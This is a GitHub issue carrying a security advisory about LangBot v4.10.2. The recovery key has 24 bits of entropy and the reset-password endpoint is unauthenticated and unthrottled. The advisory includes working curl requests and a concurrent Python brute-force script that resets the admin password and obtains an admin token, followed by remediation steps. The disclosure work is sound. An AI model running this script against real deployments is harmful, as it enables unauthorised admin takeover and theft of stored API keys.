Skip to content

Unauthenticated admin account takeover via low-entropy (24-bit) recovery key and missing brute-force protection #2392

Description

@geo-chen

Runtime environment

v4.10.2

Deployment version

Community Edition

Exception

reported on 15 June 2026 via https://github.com/langbot-app/LangBot/security/advisories/GHSA-4xcp-6758-rxqv:

Summary

LangBot generates the password-recovery secret (system.recovery_key) with only 3 bytes of entropy (secrets.token_hex(3) = 6 hex characters = 2^24 = 16,777,216 possible values). This secret is the sole authorization factor for the unauthenticated POST /api/v1/user/reset-password endpoint, which resets the administrator's password.

The endpoint has no account lockout, no per-IP rate limiting, and no global throttle. Its only protective measure is a fixed await asyncio.sleep(3) placed at the top of the handler. Because that sleep is asynchronous and the Quart application accepts concurrent requests, it does not limit aggregate throughput: an attacker issuing requests concurrently can guess the entire 24-bit keyspace in hours and reset the admin password without any prior authentication.

The root cause is twofold: (1) a recovery secret that grants full account takeover is sized at only 24 bits, and (2) the takeover endpoint lacks any anti-automation control.

Details

Recovery-key generation (24 bits)

src/langbot/pkg/core/stages/genkeys.py:

if not ap.instance_config.data['system']['recovery_key']:
    ap.instance_config.data['system']['recovery_key'] = secrets.token_hex(3).upper()
    await ap.instance_config.dump_config()

secrets.token_hex(3) returns 3 random bytes encoded as 6 hexadecimal characters (uppercased). The full keyspace is 16**6 = 16,777,216 values (2^24).

Unauthenticated reset endpoint

src/langbot/pkg/api/http/controller/groups/user.py:

@self.route('/reset-password', methods=['POST'], auth_type=group.AuthType.NONE)
async def _() -> str:
    json_data = await quart.request.json

    user_email = json_data['user']
    recovery_key = json_data['recovery_key']
    new_password = json_data['new_password']

    # hard sleep 3s for security
    await asyncio.sleep(3)

    if not await self.ap.user_service.is_initialized():
        return self.http_status(400, -1, 'System not initialized')

    user_obj = await self.ap.user_service.get_user_by_email(user_email)
    if user_obj is None:
        return self.http_status(400, -1, 'User not found')

    if recovery_key != self.ap.instance_config.data['system']['recovery_key']:
        return self.http_status(403, -1, 'Invalid recovery key')

    await self.ap.user_service.reset_password(user_email, new_password)
    return self.success(data={'user': user_email})

auth_type=group.AuthType.NONE means the request is processed without any token (see group.py, where only the USER_TOKEN, API_KEY, and USER_TOKEN_OR_API_KEY branches enforce credentials). A correct (user_email, recovery_key) pair immediately rewrites the admin password hash via reset_password, returning the new credentials to the caller.

Why the 3-second sleep does not protect

await asyncio.sleep(3) suspends only the current coroutine; it does not block the event loop or serialize other in-flight requests. There is no lockout counter, no per-IP limiter, and no global before_request throttle anywhere in the HTTP layer (src/langbot/pkg/api/http/controller/main.py registers no rate-limiting middleware and sets CORS allow_origin='*', binding 0.0.0.0). With C concurrent requests the effective guess rate is approximately C / 3 per second, independent of the sleep.

For 2^24 keys:

  • 1000 concurrent requests -> ~333 guesses/s -> worst case ~14 h, average ~7 h to recover the admin password.
  • 500 concurrent requests -> ~167 guesses/s -> worst case ~28 h, average ~14 h.

These are well within feasible attack windows for an unauthenticated remote attacker.

Reproduction steps

Proof of Concept

Prerequisites:

  • A running LangBot instance that has completed first-run initialization (an admin user exists). Default listen address is 0.0.0.0:5300.
  • Knowledge of the admin login email (the user field). This is the only attacker-supplied identifier and is commonly an organizational/personal address.

Step 1 -- Confirm the recovery-key entropy that the server generates. Run the server's exact generation code locally:

python3 - <<'EOF'
import secrets, math
key = secrets.token_hex(3).upper()        # identical to genkeys.py line 23
print("example recovery_key:", key, "length:", len(key))
ks = 16 ** len(key)
print("keyspace:", ks, "= 2^%.0f bits" % math.log2(ks))
EOF

Observed output:

example recovery_key: 2A5AED length: 6
keyspace: 16777216 = 2^24 bits

Step 2 -- Verify the reset endpoint is reachable unauthenticated and rejects a wrong key (no credentials sent):

curl -s -X POST http://TARGET:5300/api/v1/user/reset-password \
  -H 'Content-Type: application/json' \
  -d '{"user":"admin@example.com","recovery_key":"000000","new_password":"PwnedPass1!"}'

Observed response (after the fixed 3 s delay; HTTP 403, processed without any auth token):

{"code":-1,"msg":"Invalid recovery key"}

Step 3 -- Brute-force the 24-bit recovery key concurrently. The following client fires the guesses with bounded concurrency; the per-request 3 s server sleep does not reduce aggregate throughput:

import asyncio, itertools, httpx

TARGET = "http://TARGET:5300/api/v1/user/reset-password"
ADMIN_EMAIL = "admin@example.com"
NEW_PASSWORD = "PwnedPass1!"
CONCURRENCY = 1000

def keys():
    for n in range(0x1000000):            # 0 .. 2^24-1
        yield f"{n:06X}"                  # 6 upper-hex chars, matches token_hex(3).upper()

async def worker(client, sem, key, found):
    if found:
        return
    async with sem:
        r = await client.post(
            TARGET,
            json={"user": ADMIN_EMAIL, "recovery_key": key, "new_password": NEW_PASSWORD},
            timeout=30,
        )
        if r.status_code == 200 and r.json().get("code") == 0:
            found.append(key)
            print("RECOVERY KEY FOUND:", key, "-> admin password reset to", NEW_PASSWORD)

async def main():
    sem = asyncio.Semaphore(CONCURRENCY)
    found = []
    async with httpx.AsyncClient() as client:
        it = keys()
        while not found:
            batch = list(itertools.islice(it, CONCURRENCY))
            if not batch:
                break
            await asyncio.gather(*(worker(client, sem, k, found) for k in batch))

asyncio.run(main())

Step 4 -- Once a guess matches, the server returns:

{"code":0,"msg":"ok","data":{"user":"admin@example.com"}}

The admin password is now PwnedPass1!. Authenticate normally to obtain a full admin JWT:

curl -s -X POST http://TARGET:5300/api/v1/user/auth \
  -H 'Content-Type: application/json' \
  -d '{"user":"admin@example.com","password":"PwnedPass1!"}'
# {"code":0,"msg":"ok","data":{"token":"<admin JWT>"}}

With the admin token the attacker controls the entire instance (pipelines, model provider API keys, MCP/STDIO command execution per GHSA-3pvh-63gf-j9mw, knowledge bases, etc.).

Impact

Remote, unauthenticated takeover of the LangBot administrator account. The only precondition beyond network access is the admin login email. Because the recovery secret is only 24 bits and the reset endpoint enforces no lockout or rate limit, the entire keyspace can be exhausted in hours via concurrent requests. After takeover, the attacker gains full administrative control of LangBot, including stored model-provider API keys and authenticated code-execution surfaces.

Remediation

  • Generate recovery_key with substantially more entropy (e.g. secrets.token_urlsafe(32)), matching the strength already used for API keys (lbk_ + token_urlsafe(32)) and the JWT secret (token_hex(16)).
  • Add anti-automation controls to POST /api/v1/user/reset-password: per-IP and per-account rate limiting, exponential backoff, and a lockout/failed-attempt counter. The current single asyncio.sleep(3) does not throttle concurrent requests.
  • Use hmac.compare_digest for the recovery-key comparison to avoid timing side channels.

Enabled plugins

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    bug?Bug或Bug修复相关 / maybe a bug

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions